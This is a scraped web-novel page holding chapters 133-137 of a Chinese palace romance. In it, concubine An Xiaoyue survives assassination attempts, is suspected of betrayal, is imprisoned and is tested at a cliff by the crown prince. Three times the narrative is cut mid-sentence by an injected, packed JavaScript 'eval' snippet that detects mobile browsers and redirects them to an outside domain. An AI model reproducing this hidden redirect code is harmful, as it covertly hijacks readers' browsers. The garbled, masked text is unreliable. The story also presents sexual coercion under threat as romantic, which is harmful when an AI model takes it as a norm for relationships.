安小月僵住,就着他的手小口啜饮,茶水微苦,却压不住舌尖残留的酥麻。 萧衍盯着她吞咽的动作,忽然道,“嵩山行宫有温泉。” “咳!”安小月猛地呛住,脸颊瞬间涨红。 他这话是什么意思? 萧衍慢条斯理地擦去她唇边水渍,意味深长,“到时候好好伺候孤。” 安小月眼前一黑。 这趟行程,怕是要被吃干抹净了。 嵩山距离京城不算远,但也走了五日,估计今日傍晚就会抵达嵩山行宫。 安小月缩在马车角落里,衣襟微乱,唇瓣红肿,一双杏眸湿漉漉的。 萧衍则是懒散地靠在软垫上,指尖把玩着她一缕散落的发丝,唇角噙着若有似无的笑。 “躲什么?”他低笑,嗓音慵懒又危险,“都第五日了,还没习惯?” 安小月咬唇,耳尖红得滴血。 怎么可能习惯! 这五日,太子几乎日日都要折腾她。 有时是捏着她的下巴深吻,直到她喘不过气才肯放开,有时是把她抱在腿上,一直摩挲她的腰窝。 甚至有一夜,他故意在她沐浴时闯入,隔着屏风听她惊慌失措的水声,低笑着问,“需要孤帮忙擦背吗?” 恶劣至极! 离了熟悉的地方,太子越发放纵了。 可偏偏,他始终没有做到最后一步。 安小月又羞又恼,却又隐隐松了口气。 她还没准备好。 可更可怕的是,她竟然……有些期待? 这个念头刚冒出来,她就被自己吓到了。 她进府目的不好听,如今能保住小命已经是天大的幸事,却还在奢望更多? 她心乱如麻,萧衍却忽然伸手,将她拽进怀里。 “又在胡思乱想什么?” 他捏了捏她的耳垂,嗓音低沉暧昧,“今晚到行宫,孤带你去泡温泉。” 安小月浑身一僵。 她脸颊滚烫,几乎不敢抬头看他。 萧衍低笑,指尖挑起她的下巴,逼她直视自己。 “怕了?” 他眸色幽深,带着几分戏谑,“这几日不是挺大胆的?还敢咬孤?” 安小月羞恼地瞪他。 那能怪她吗? 谁让他每次都…… 萧衍似乎看穿她的心思,笑意更深。 “放心。”他低头,在她耳边轻咬,“今晚,孤会让你更难忘。” 安小月差点叫出声,最后硬是忍住。 好在太子说完这些便下去骑马去了,她独自待着,渐渐地整理好了心情。 抵达行宫夜色已深。 苏德早派人过来打点好了,因此他们落地就有美食填饱肚子。 安小月本想找机会溜去睡觉,可还没来得及,就被太子逮到人,半搂半抱地带到池边。 夜色沉沉,温泉池水氤氲着雾气。 “殿下……”她声音微颤,指尖攥紧衣襟,不敢抬头。 萧衍低笑,修长的手指轻轻抚过她的脸颊,“这几日不是挺大胆的?现在倒知道怕了?” 安小月咬唇,她当然怕。 这几日,太子几乎把她里里外外都摸透了,偏偏每次都在最后关头停下,让她又羞又恼。 可太子似乎并不打算给她思考的时间。 他指尖一挑,她的外衫便滑落在地,只余下一层薄薄的中衣,湿透后紧贴在肌肤上,勾勒出曼妙的曲线。 他嗓音低哑,带着几分戏谑,“身为太子妾室,你知道自己的本分是什么吗?” 安小月呼吸一滞,脸颊滚烫。 他是在提醒她,她已经是他的女人了。 可她真的能把自己彻底交给他吗? 她内心挣扎,手指无意识地绞紧。 如果她真的和太子发生关系,皇后那边派人来问怎么办? 可如果她拒绝,太子会不会起疑? 还是说…… 她该赌一把? 就在她犹豫不决时,太子忽然俯身,薄唇几乎贴上她的耳垂,低声道,“在想怎么应付孤?” 安小月心头一紧。 她慌乱抬眸,却见太子眼底带着几分玩味,好像心情不错。 “殿下……”她张了张嘴,不知该如何回应。 萧衍低笑,摸了摸她的后颈,“今晚,孤要你亲口承认,你是孤的人。” 安小月心跳几乎停滞。 他在逼她表态! 就在她进退两难之际。 “轰!” 一声巨响骤然炸开,整个行宫剧烈震动! “地龙翻身?”萧衍眸光一凛,第一反应将安小月护在怀中。 然而,震动未止,远处竟传来一阵喊杀声。 “有刺客!保护殿下!” 安小月瞳孔骤缩。 这不是意外! 是刺杀! 她下意识看向太子,却见他神色冷峻,眼底毫无慌乱,反而带着一丝意料之中的冷静。 他早有防备? 还未等她细想,数道黑影已破窗而入,刀光凛冽,直逼太子! “殿下小心!” 安小月几乎是本能地扑上前,挡在太子身前。 萧衍眸光一震,显然没料到她会有此举动。 “退后!” 他厉声喝道,一把将她扯到身后,反手抽出腰间软剑。 寒光乍现,瞬间斩落一名刺客的头颅。 眼前鲜血飞溅,安小月脸色煞白,却死死咬住唇,不让自己惊叫出声。 刺客越来越多,萧衍虽武艺高强,但双拳难敌四手,渐渐被逼至角落。 安小月心跳如鼓,脑中飞速思索。 若太子死在这里,皇上必定震怒,而她也难逃一死。 可若她救他…… 她攥紧拳头,忽然下定决心,猛地推开太子,高声道,“殿下快走!妾身替您拖延!” 萧衍眸光骤冷,“胡闹!” 他厉声一喝,一把扣住她的手腕,猛地将她拽回身后,力道大得几乎让她踉跄。 而后侧眸扫她一眼,眼底是冷冽的怒意,却又带着一丝她读不懂的暗涌。 “孤还没有没用到,要让一个女人挡在前面的地步。” 话音未落,他已纵身迎上刺客,杀意凛然。 第133章 闹脾气了 安小月被塞进角落,怔在原地。 手腕上还残留着太子掌心的温度,滚烫得几乎灼伤她的皮肤。 他保护了她? 她从未被人这样护在身后过。 在皇后眼中,她只是一枚棋子,生死无关紧要,在安禄海眼里,她更是可有可无的弃子。 可太子…… 她抬眸,怔怔望着他的背影。 玄色衣袍翻飞,剑锋所过之处,血光迸溅,可他身形未乱半分,宛如修罗降临,却又令人莫名安心。 他明明知道,她可能是皇后派来的眼线,可他为什么…… 她心口突然狠狠一颤,一种陌生的情绪汹涌而来,酸涩又滚烫,几乎让她眼眶发热。 “殿下!” 远处骤然传来一阵急促的马蹄声,赵忠率领卫队疾驰而来,瞬间将剩余刺客团团围住。 “属下来迟,轻殿下责罚!” 赵忠单膝跪地,脸色凝重。 萧衍收剑,冷冷扫了一眼满地尸首,嗓音森寒,“把人带下去,好好查。” 赵忠低头,“是!” 安小月这才回过神,慌忙上前,下意识想查看太子是否受伤,可手刚抬起,又猛地僵住。 她指尖微颤,正要收回,太子却忽然转身,一把扣住她的手腕。 “怕了?”他嗓音低沉,“刚才挡在孤前面的胆子呢?” 安小月呼吸一滞,抬眸对上他的眼睛。 那双眼里,有未散的杀意,有怒意,可深处却藏着一丝她不敢深想的灼热。 她抿了抿唇,却不知该说什么。 萧衍盯着她片刻,忽然冷笑一声,一把将她打横抱起。 “殿下?”她惊呼。 “闭嘴。”他语气恶劣,可手臂却稳稳托着她,大步朝行宫内走去,“再乱动,孤现在就办了你。” 安小月瞬间僵住,耳尖通红。 赵忠和众人纷纷低头,眼观鼻鼻观心,假装什么都没看见。 萧衍将安小月抱回寝殿,直接丢在了软榻上。 “嘶……”她轻吸一口气,手腕上被刺客划破的伤口隐隐作痛。 萧衍冷着脸,从案几上取来金疮药,一把扣住她的手腕。 “疼……”她下意识想缩手。 “孤以为你是个死人,不怕疼也不怕死。” 他冷笑,手上力道却放轻了些,指腹沾了药膏,缓缓涂在她的伤口上。 药膏清凉,可他的指尖却烫得惊人。 安小月心跳微乱,低垂着眼睫不敢看他,只小声道,“妾身只是不想殿下受伤。” 萧衍抬眸,目光沉沉地盯着她,“安小月,你当孤是傻子?” 她指尖一颤。 可下一秒,太子却忽然俯身,薄唇贴上她的侧脸,嗓音低哑,“下次再敢逞强,孤就让你三天下不了榻。” 安小月耳尖瞬间烧红。 她慌乱抬眸,却见太子眼底带着几分恶劣的笑意,显然是在故意逗她。 “殿下!” 她又羞又恼,却又不敢反驳,只能咬着唇别过脸。 萧衍低笑一声,指腹在她腕上轻轻摩挲了一下,这才松开她,起身道,“今晚老实待着,再乱跑,后果自负。” 说完,他转身离开,只留安小月一人坐在榻上,心跳如雷。 她躲过了一劫,竟有一丝隐秘的庆幸…… 三日后,凤仪宫。 “废物!一群废物!” 皇后一把掀翻案几,茶盏瓷瓶碎了一地。 跪在地上的暗卫首领额头抵地,颤声道,“娘娘息怒!太子身边有高手护卫,我们的人全军覆没。” “全军覆没?”皇后冷笑,指甲深深掐进掌心,“那安小月呢?她死了吗?” “安小月无恙,太子亲自护着她……” “什么?”皇后瞳孔骤缩,猛地站起身,“他护着她?” 怎么可能? 太子明明最恨被人监视,而他也明知安小月的身份! 她胸口剧烈起伏,眼底翻涌着滔天恨意。 泽儿的仇,她一定要报! 太子这次不死也得脱层皮! “传令下去。”她嗓音森冷,一字一句道,“让王氏进宫。” 到了午后,暑气更盛一些。 嵩山行宫的青石阶被烈日晒得发烫,蝉鸣聒噪,搅得人心烦意乱。 太子连着两日主持祭祀,晨起而出,夜深方归,安小月连面都没见着。 偏殿里,她正托腮望着窗外。 太医开的药已经放凉了,黑褐色的药汁映出她微微皱着的脸。 “娘子,该服药了。”宫女捧着药碗,小心翼翼道。 “放着吧。” 她懒懒道,回头看了一眼,却没有要喝的打算。 宫女犹豫了一下,又道,“殿下今早特意吩咐了,说您若是不肯喝药,就让奴婢去回禀。” 安小月指尖一顿,唇角微微翘起。 “殿下这么忙,还有空管我喝不喝药?” 宫女低头不敢接话。 安小月端起药碗,轻轻嗅了嗅,苦得她直皱鼻。 她眼珠一转,忽然放下碗,凑近宫女低声道,“你去问问赵统领,就说我想去祭坛看看殿下,让他拨几个侍卫送我过去,等见着殿下,我保证乖乖喝药。” 宫女吓得手一抖,差点打翻药碗。 “这不成啊!殿下临走前特意吩咐了,说您伤势未愈,不准您乱走……” 安小月撇撇嘴,举起光滑白皙的手腕给她看。 “你看看,早就好了,也就是殿下……”说到一半她突然不说了,失落地叹了口气。 “况且我都两日没见着殿下了,祭祀再忙,总不能不让人送饭吧?” 宫女急得快哭了,“娘子,两天前您偷溜出去,殿下险些打了我的板子,这次要是再……” 安小月忽然捂住胸口“嘶”了一声。 “娘子怎么了!”宫女慌忙放下药碗。 “没事。”她虚弱地靠在软枕上,“就是突然觉得,若此刻能见着殿下,说不定这疼就好了。” 宫女一脸呆滞。 此时,殿外突然传来脚步声。 安小月立刻闭眼装睡,却听见一道凉飕飕的嗓音从头顶落下。 “让你歇着,还有心思骗宫女?” 她猛地睁眼,正对上太子似笑非笑的脸。 他祭服未换,身上还带着檀香的清冽,修长手指一抬,直接捏住她鼻尖。 “孤不在,你不是欺负宫女,就是欺负赵忠,长本事了?” 萧衍慢条斯理地勾唇轻笑,“安小月,你不如先解释解释是药太苦,还是……” 他忽然俯身,呼吸擦过她耳尖,“孤这两日没来,有人闹脾气了?” 安小月的脸瞬间红到耳朵根。 第134章 一夜未归 宫女悄无声息地退了出去,日光从缝隙照射进来,映着太子略显疲惫的眉眼。 他等不到下文,抬手揉了揉太阳穴,在软榻边坐下。 安小月悄悄挪近了些,指尖轻轻拽了拽他的袖角。 “殿下。”她声音轻软,带着点讨好的意味,“您这两日都没好好歇息,妾身帮您按按头?” 萧衍抬眸看她,眼底闪过一丝意味深长的神色,却也没拒绝,只低低“嗯”了一声。 安小月得了准许,立刻跪坐到他身后,指尖轻轻搭上他的太阳穴,小心翼翼地揉按起来。 萧衍微微阖眼,向后靠去,肩背抵在她身前。 安小月垂眸,能清晰地看见他紧蹙的眉心,还有那随着呼吸微微起伏的胸膛。 他的呼吸声比平日沉了些,像是累极了,连肩颈的线条都绷得紧紧的。 “殿下。”她忍不住轻声问,“祭祀很累吗?” 萧衍没睁眼,只淡淡应道,“嗯。” 她指尖的动作更轻了些,声音也软,“那您闭眼歇会儿,妾身给您多按按。” 他没说话,只是呼吸渐渐放缓,眉心也舒展了些。 安小月低头看着他,心里忽然有些酸涩。 那夜的刺杀他虽未明说,但她却能猜到是和六皇子一派有关。 毕竟,巧合的太多就成了预谋。 她悄悄叹了口气,指尖顺着他的鬓角轻轻梳理,像是想抚平他所有的倦意。 殿外蝉声阵阵,偶尔有巡逻的甲胄碰撞声传来。 太子的呼吸均匀绵长,头靠在她身上,眉宇间的疲惫终于舒展开来。 安小月一动也不敢动,小心翼翼地屏住呼吸,生怕自己稍一动作就会惊醒他。 可时间久了,半边身子渐渐发麻,像是有细密的针尖轻轻扎着,又痒又疼。 她咬了咬唇,强忍着没动,心里忽然涌上一股说不清道不明的情绪。 这一刻太安静,也太美好,美好得几乎让她生出错觉。 仿佛他们之间没有那些算计,没有那些即将爆发的风暴,只是寻常夫妻,在这无人的角落相依相偎。 可她知道,这不过是暴风雨前的宁静。 那件事迟早会被挑明。 虽然他早有可能知晓,可那时他会用怎样的眼神看她? 是失望,是愤怒,还是……厌恶? 安小月不敢再想下去。 两刻钟后,萧衍缓缓睁眼,发现自己竟靠着安小月睡了过去。 她仍保持着原本的姿势,一动不动,显然是为了不惊醒他,硬生生忍了许久。 他眸光微动,心底某处悄然软了几分。 安小月见他醒了,不着痕迹地松了口气,“殿下醒了?” “嗯。”他淡淡开口,声音却比平日温和,“传膳吧。” 苏德早就在门外候着,闻言朝身后拍了拍手,内侍们便动开了。 安小月腰硬腿僵,还未缓过来,太子却将她打横抱起,大步过去坐下。 “殿下?” “陪孤一起。” 萧衍语气平静,亲自盛了一碗热汤推到她面前。 安小月眼眶微热,低头抿了一口,又小心翼翼地夹了一块他平日爱吃的酥肉,放进他碗里。 萧衍顿了顿,竟也抬手为她添了一勺清蒸鲈鱼。 两人谁都没说话,可周遭的甜蜜气氛,衬得满桌饭菜都多了几分暖意。 用过晚膳后,安小月悄悄抬眼,见太子吃饱喝足,神色比往日柔和许多,心中不由泛起一丝甜意。 “时辰不早了,”萧衍忽然开口,声音低沉却不再冷硬,“你早些歇息。” 安小月一怔,连忙起身,“殿下这就要走?” “嗯,还有事处理。”他站起身,目光在她脸上停留片刻,又补了一句,“你不必等。” 她低头应了声“是”,却仍忍不住跟到门边,目送他的背影消失在回廊转角。 夜色渐深,安小月洗漱完毕。 她独自躺在床榻上,翻了个身,将脸埋进软枕里,唇角忍不住轻轻翘起。 他今日竟与她同桌用膳,还亲手为她夹了菜。 这样简单的事,却让她心口发烫,像是偷来了一场美梦。 可越是甜蜜,越怕醒来。 她闭上眼,迷迷糊糊睡去,却不想,梦境骤然翻覆。 血。 铺天盖地的血。 她梦见太子倒在雪地里,胸口插着一支箭,鲜血汩汩涌出,染红了大片雪地。 而她跪在他身旁,拼命用手去捂。 可那血却怎么也止不住,反而顺着她的指缝蔓延上来,黏稠温热,渐渐爬满她的手臂…… “殿下!” 安小月猛地惊醒,冷汗涔涔,后背的寝衣已然湿透。 窗外,天还未亮。 她急促地喘息着,指尖死死攥住被褥,仿佛这样就能压下心头翻涌的不安。 她匆匆梳洗完毕,推门出去,正巧遇见端着早膳的宫女经过。 “殿下起了吗?”安小月随口问道,声音还带着晨起的微哑,“这几日祭祀繁忙,殿下应当又早早起身了吧?” 那宫女脚步一顿,神色迟疑,“回娘子的话,殿下昨夜出门后……至今未归。” 安小月指尖猛地掐进掌心,心头骤然一紧。 “那苏公公呢?赵大人在不在?” “回娘子,苏公公和赵大人昨夜都跟着殿下出门了。” 闻言,安小月终于松了口气。 苏公公是东宫老人,行事稳重,赵忠更是太子亲信侍卫,武艺高强,有他们在,殿下应当不会出什么差错。 可即便如此,她心里仍像压了块石头,坐立难安。 早膳摆在桌上,她却一口未动,只是攥着帕子在殿门口来回踱步,目光频频望向行宫外的官道。 日头渐高,暑气蒸腾,远处仍不见太子队伍的踪影。 安小月指尖发凉,心跳越来越快。 不对,殿下素来守时,祭祀大事,绝不会耽搁这么久。 她猛地转身,对身旁宫女道,“找两个侍卫,我要去祭坛寻找殿下。” 宫女见她神色焦急,不敢强行阻拦,只得匆匆去寻侍卫。 好在赵忠临行前曾交代过,很快,四名佩刀侍卫赶来。 “去祭坛,快!” 安小月麻利地爬上马车。 马蹄扬起尘土,一行人疾驰出了行宫。 盛夏的日头毒辣,晒得官道发白,安小月却只觉得脊背发冷。 行至半途,忽见前方林中惊起飞鸟,侍卫猛地勒马。 “娘子小心!” 话音未落,一支羽箭已钉入车辕。 第135章 暴露 四名侍卫瞬间拔刀将马车团团围住,气氛顿时紧张起来。 安小月蜷缩在车厢内,面色惨白,她死死攥住帘布,连呼吸都放得极轻。 虽未见到人影,她却清晰地感觉到暗处那股阴冷的压迫感,犹如毒蛇一般蛰伏在四周的密林里,随时可能暴起伤人。 侍卫们屏息凝神,刀锋向外,警惕地扫视着每一处阴影。 可时间一点点流逝,林间却静得出奇,只有风吹过树叶的沙沙声,仿佛方才那一箭只是错觉。 “娘子……” 为首的侍卫压低声音,额头渗出冷汗,“敌暗我明,不宜久留,不如先回行宫,再派人查探?” 另一人也劝道,“若您有个闪失,殿下震怒,属下们万死难辞其咎!” 安小月闭了闭眼,胸口剧烈起伏。 她当然知道危险,可一想到太子音讯全无,便如百爪挠心,坐立难安。 她猛地掀开车帘,日光刺得她眯起眼,“你们回去,给我一匹马便好。” 侍卫大惊,“这如何使得!” “到时就说是我执意如此。”她声音发颤,却异常坚决,“若殿下问罪,我一力承担。” 不等侍卫再劝,她跃下车辕,径直走向一匹战马。 可就在她抓住缰绳的刹那。 “嗖!” 第二支箭破空而来,擦着她的袖口钉入树干。 “娘子小心!” 侍卫们怒吼着冲上前,呈包围式把她围在中间。 安小月浑身一颤,差点腿软跪倒。 有人要杀她? 可下一瞬,她咬紧牙关,硬是站稳了。 不能慌,更不能退。 四周短暂地陷入死寂,只有风声掠过树梢,沙沙作响。 侍卫们警惕地环视四周,等了许久,却再没见第三支箭射来。 不能再等了。 “你们回去,不必管我。” 安小月深吸一口气,翻身上马,攥紧缰绳的指节因用力而泛白。 侍卫们还想阻拦,她却猛地拔下银簪,狠狠刺向马臀。 “嘶……” 马匹吃痛,长啸一声,瞬间扬蹄狂奔。 安小月险些被甩下马背,慌忙抱住马脖子,整个人几乎伏在马背上,发丝散乱,耳边只剩呼啸的风声。 “娘子!”侍卫们大惊失色。 四人翻身上马,可疯马已冲出数丈,根本追不上。 为首的侍卫咬了咬牙,当机立断作出决定。 “赵二赵三,你们沿马蹄印跟上,务必护住安娘子!我和赵五回行宫调兵!” 侍卫们分头行动,另一边的安小月则是死死攥着马的鬃**,颠簸中感觉五脏六腑仿佛都要移位了。 她勉强抬头,忽然发现前方是个岔路口。 左侧是官道,应当是通往祭坛的路,右侧却是一条荒草丛生的窄路,而泥地上赫然有几道新鲜的马蹄印。 安小月咬紧牙关,拼命拽住缰绳,想强制让疯马转向窄径。 可那畜生早已疼得发了狂,根本不听使唤,反而一头扎进了密林深处。 树枝抽打在她脸上,划出细小的血痕。 她只能死死抱住马脖子,紧闭双眼,耳边是马蹄踏碎枯枝的脆响和呼啸的风声。 这样下去,迟早会被甩下去摔死! 突然,疯马嘶鸣着冲进湍急的河流,安小月被甩入水中,冰冷的河水瞬间灌入口鼻。 她浑身发抖,那些被按进池塘的回忆迅速缠上来,可求生的本能让她猛地划动手臂,挣扎着浮出水面。 不能死…… 殿下还在等着她! 她拼命游向岸边,湿透的衣裙像铅块般沉重。 刚爬上岸,密林深处突然传来一声震耳欲聋的**。 “轰!” 气浪掀飞鸟群,火光冲天而起,方向是……祭坛! 安小月大惊失色。 她浑身湿透,发丝凌乱地贴在脸上,却顾不得狼狈,跌跌撞撞地在密林中穿行。 太子到底在哪里? 她心跳如雷,耳边只有自己急促的喘息声。 跑了不知多久,她双腿发软,扶着一棵老树喘息时,忽然瞥见树杈上挂着一个破旧的包袱,像是被人匆忙藏匿,又被风雨冲刷才露了出来。 她踮脚拽下包袱,颤抖着解开,里头竟是几封密信。 “……密谋祭坛行刺……” “东宫暗卫中有内鬼……” “安小月实为……” 看到自己的名字,她瞳孔骤缩,手指死死捏紧信纸。 可就在这时,背后却传来枯叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第136章 ** 一路上,萧衍始终走在最前面,苏德和赵忠也一言不发,整个队伍压抑得可怕。 直到…… “轰!” 远处再次传来**声,比之前更近。 萧衍猛地抬手,所有人瞬间停下。 他侧耳听了片刻,忽然冷笑一声,“果然来了。” 话音未落,密林四周骤然亮起无数泛着寒光的刀。 “杀太子者,赏千金!” “殿下小心!” 安小月瞳孔骤缩,几乎本能地往前冲去,想要挡在太子身前。 可刚迈出两步,萧衍猛然回头,那双漆黑如墨的眸子冷冷扫来,如刀锋般锐利。 “绑了。” 他嗓音低沉,不带一丝温度。 安小月骤然僵住,眼睁睁看着赵忠朝自己走来。 他的动作极快,一把扣住她的手腕,绳索“唰”地缠上她的双臂,力道大得几乎勒进皮肉。 可麻绳勒进皮肉的疼痛远不及心底的寒意。 太子竟以为她要逃? 安小月张了张嘴想辩解,却见太子已背过身去,手中长刀寒光凛冽,与刺客冷冷对峙。 “谁派你们来的?” 刺客首领阴笑一声,刀尖直指太子咽喉,“**不需要知道!” 话音未落,数十道黑影从林间暴起。 安小月拼命挣扎,绳索却越缠越紧。 她眼睁睁看着太子被围,苏德和赵忠虽奋力抵挡,但刺客人数众多,刀光剑影间,太子手臂已见血色。 “殿下!” 安小月尖叫出声,却无人理会。 就在此时,刀光交错间,太子侧身避过刺客首领的致命一击,反手一刀斩断对方手腕。 血花四溅。 “安姑娘,主上等着你复命!” 刺客首领突然高喊出声,声音穿透周遭的厮杀,清晰落入所有人耳中。 空气骤然凝固。 萧衍猛地回头,目光如刀一般射向安小月。 赵忠和护卫们的刀锋也瞬间调转方向,直指她的咽喉。 “我……我不认识他们!” 安小月脸色煞白。 她从未听过什么“主上”,更不知刺客为何突然喊出她的名字。 可不等她继续辩解,刺客首领已狞笑着吹响骨哨。 “咻——” 尖锐的哨声撕裂密林,从中突然冲出第二批黑衣人,刀光如潮水般涌向太子。 萧衍冷笑一声,反手抽出袖中骨哨,哨声划破长空,埋伏已久的影卫瞬间杀出,战局骤然变了风向。 混乱中,角落的安小月被人一把捂住口鼻,拖入黑暗。 她拼命挣扎,可想到太子那句“绑了”,整个人便如坠冰窟。 他根本不信她。 她咬紧牙根,不再呼救,任由自己被拖走。 不知过了多久,安小月被丢进一间密室,石门毫不留情地关闭。 “放我出去!” 四周一片黑暗,安小月不知身在何处,只能放声嘶喊,可回应她的只有死寂。 时间流逝,她又饿又渴,意识逐渐变得模糊。 她蜷缩在角落,指尖掐进掌心保持清醒,一遍遍回想刺客那句“主上等着你复命”。 到底是谁在陷害她? 难道又是安欢颜?亦或者是六皇子? 思考不出头绪,安小月又试图寻找出路,可石壁冰冷光滑,连一丝缝隙都没有。 她不禁陷入绝望之中,不受控地胡思乱想。 太子……是不是已经认定她背叛了他? 意识到这一点,绝望如潮水般涌来,安小月终于支撑不住,昏死过去。 “哗啦” 一盆冷水狠狠泼在她脸上。 安小月猛地惊醒,剧烈咳嗽着,眼前仍是一片黑暗。 “说,你和北境死士是什么关系?”一道冰冷的声音在耳边响起。 她浑身一颤。 是太子的声音! “殿下?”她不敢置信,声音嘶哑,“是您……绑了奴婢?” 黑布被粗暴扯下,突然的光线让她不适应地眯起眼。 太子就站在她面前,眸色森寒。 “演得不错。”他冷笑,“可惜,你的同伙太蠢。” 安小月怔住,随即明白过来。 “奴婢没有背叛殿下!”她挣扎着起身,却仍是徒劳。 “奴婢的确欺骗了殿下,奴婢识字,也会水,但这绝对不是为了伤害殿下,奴婢根本不认识什么主上!” 萧衍眯起眼,指尖抚过她苍白的脸。 “你说是就是?”他缓缓俯身,气息冰冷,“既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753592|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不为伤害孤,又何必欺骗?” 密室烛火幽暗,映出太子冷峻的侧脸。 安小月咬唇不语。 “你连骗人都不会。”萧衍嗤笑。 “既要装蠢,为何又屡次露出破绽?又为何……”他声音蓦地一沉,“还要豁出命来救孤?” 安小月眼眶发红。 她能说什么? 说自己身上流着安禄海的血,接近他确实是不怀好意? 还是要说……她早在日日夜夜的相处中记挂上他,却不敢言明心意? “妾身不知道。”她哽咽出声。 萧衍盯着她许久,突然松开手,转身走向密室石门,“孤现在给你两个选择。” “一,永远留在这间密室,直到腐烂为止。” “二……”他侧头,眸光透出几分阴狠,“跟孤去断魂崖,证明你的不知道,值不值得孤信。” 石门关闭的刹那,安小月蜷缩在墙角,将脸埋进掌心。 她当然选第二条路。 哪怕前方是刀山火海,她都要抓紧他这根稻草不放。 傍晚的风裹着湿冷,安小月被人从地牢里拖出来时,四肢已经麻木僵硬。 她原以为自己会被送回原先的偏殿,可押送她的侍卫却拐了个弯,径直走向行宫最荒僻的角落。 这是一间低矮的柴房改的破屋。 屋里只有一张硬板床,一盆冷水,和一个眼神冷厉的老嬷嬷。 “收拾干净。” 不等她喘口气,老嬷嬷直接丢来一件粗布衣裳和半个馒头。 “一个末等妾室,还真当自己是主子了?” 安小月沉默地换好衣裳,接过扔来的冷馒头咬了一口。 老嬷嬷却又突然一把拽过她胳膊,什么话都不说,拉着她就往外走。 “走!” 安小月茫然无措,有心想问,可看着老嬷嬷冷着的脸,竟一个字也不敢说出口。 老嬷嬷带着她径直出了行宫大门。 只见门外只拴着一匹黑马,太子早已坐在马背上,玄色披风被风吹得猎猎作响。 见她过来,他随意瞥了一眼,俯身攥住她的后领,像拎猫崽一样把她提到身前。 “抱紧。”萧衍冷笑,“摔下去,孤可不会捡。” 马鞭一甩,黑马猛地冲了出去。 第137章 杀了我吧 安小月没有防备,整个人几乎被颠得腾空,只能死死抓住马鞍前的铁环。 冷风像刀子一样刮在脸上,她的双眼很快就被吹得睁不开,却咬着唇一声不吭。 不知跑了多久,马终于停下,安小月早已经冻得半僵。 萧衍单手拎着她的后领把她拽下马,谁知她脚一软,差点跪下,却被他一把扣住手腕拖起来。 “这就受不住了?”他垂眼看着她惨白的脸,语气讥诮,“你不是做惯了粗活的奴婢?” 断魂崖的风像刀子,刮得人脸颊生疼。 安小月站在崖边,脚下是万丈深渊,黑雾缭绕,隐约能听见谷底传来湍急的水声。 萧衍站在她身边,声音冷漠。 “你不是说,对孤绝无二心?” 安小月抿了抿唇,开门见山道,“殿下要妾如何证明?” 萧衍忽然笑了,抬手一指崖底,“看见那株赤血藤了吗?传闻能续筋接骨,对伤势极好。” 他侧眸看她,眼底带着讥讽,“你若真心,便下去取来。” 安小月低头望去。 脚下崖壁陡峭,仅有一些凸出的石块可供攀附,稍有不慎便会摔得粉身碎骨。 她指尖微微发抖,但很快又攥紧。 她本就是相府的一枚弃子,若死在这儿,也不过是“意外坠崖”,又有何怕? 萧衍盯着她的侧脸,冷笑,“怎么,不敢?” 安小月深吸一口气,忽然抬头,冲他笑了笑,“殿下稍等。” 没等他反应,她已然转过身,抓住崖边凸起的岩石,一点点往下爬。 风卷着碎石滚落,安小月的手指很快被磨出血痕,但她没停。 萧衍站在崖边,垂眸看着那道纤瘦的身影在崖壁上艰难挪动,眸色渐深。 她竟真敢下去。 他忽然开口,“若摔**,孤可不会替你收尸。” 安小月没抬头,声音被风吹得断断续续,“那殿下记得……把赤血藤……带回去……” 萧衍眼神一沉,手指无意识收紧。 突然,安小月察觉到一股大力猛地拽住她的胳膊,硬生生将她拖了上来。 她还没反应过来,整个人已经被狠狠摔在地上,后背撞得生疼。 萧衍单膝压住她的小腹,一只手掐着她的下巴,逼她抬头。 “孤让你做什么就做什么?”他声音低得可怕,眼底翻涌着暴怒,“孤让你老实点,别再骗孤,你听话了吗?” 安小月被他掐得生疼,却只是垂下眼睫,不辩解,也不挣扎。 她确实骗了他。 从一开始的接近,到后来的伪装,她没一句真话。 萧衍盯着她这副逆来顺受的样子,胸口那股怒火烧得更旺。 他猛地松开她,一拳朝她挥过去。 “砰!” 拳头狠狠砸在她耳侧的地上,指节擦破,血丝渗进泥土里。 安小月睫毛颤了颤,却一点没躲。 萧衍呼吸粗重,死死盯着她,像是想从她脸上看出一点破绽,哪怕是一丝恐惧也好。 可她偏偏像团棉花,任他撕扯捶打,却连一点回响都没有。 他忽然冷笑一声,一把拽起她的衣领,逼她贴近自己。 “你是不是觉得,孤真舍不得杀你?” 安小月终于抬眼看他,声音轻得几乎听不见,“殿下想杀,便杀吧。” 萧衍脸色骤变,猛地一把扯开安小月的衣领,布料撕裂的声音在寂静的崖边格外刺耳。 她浑身一僵,瞳孔骤缩,下意识想往后缩,却被他死死扣住手腕。 “孤知道你来太子府的目的。” 他声音低沉,带着冰冷的嘲弄,“藏了这么久,好不容易混成妾室,还躲什么?前些天没做成的事,现在继续,如何?” 安小月呼吸一滞,心脏几乎要撞出胸腔。 她原本以为,自己至少还能再周旋一阵子,可太子却直接戳穿了一切! 萧衍盯着她苍白的脸,冷笑,“就你这三脚猫的功夫,还想骗人?要不是孤刻意放水,你早死八百回了。” 安小月指尖发颤,喉咙干涩得说不出话。 她确实骗了他,可此刻,她竟不知该如何应对。 萧衍俯身逼近,气息灼热,却带着令人窒息的压迫感,“现在知道怕了?” 她睫毛轻颤,终于低低开口,“殿下想怎么责罚?” 萧衍眸色一暗,指腹重重碾过她的唇,声音危险而低沉。 “孤想怎样?你不是最清楚吗?” 她来太子府的任务,不就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 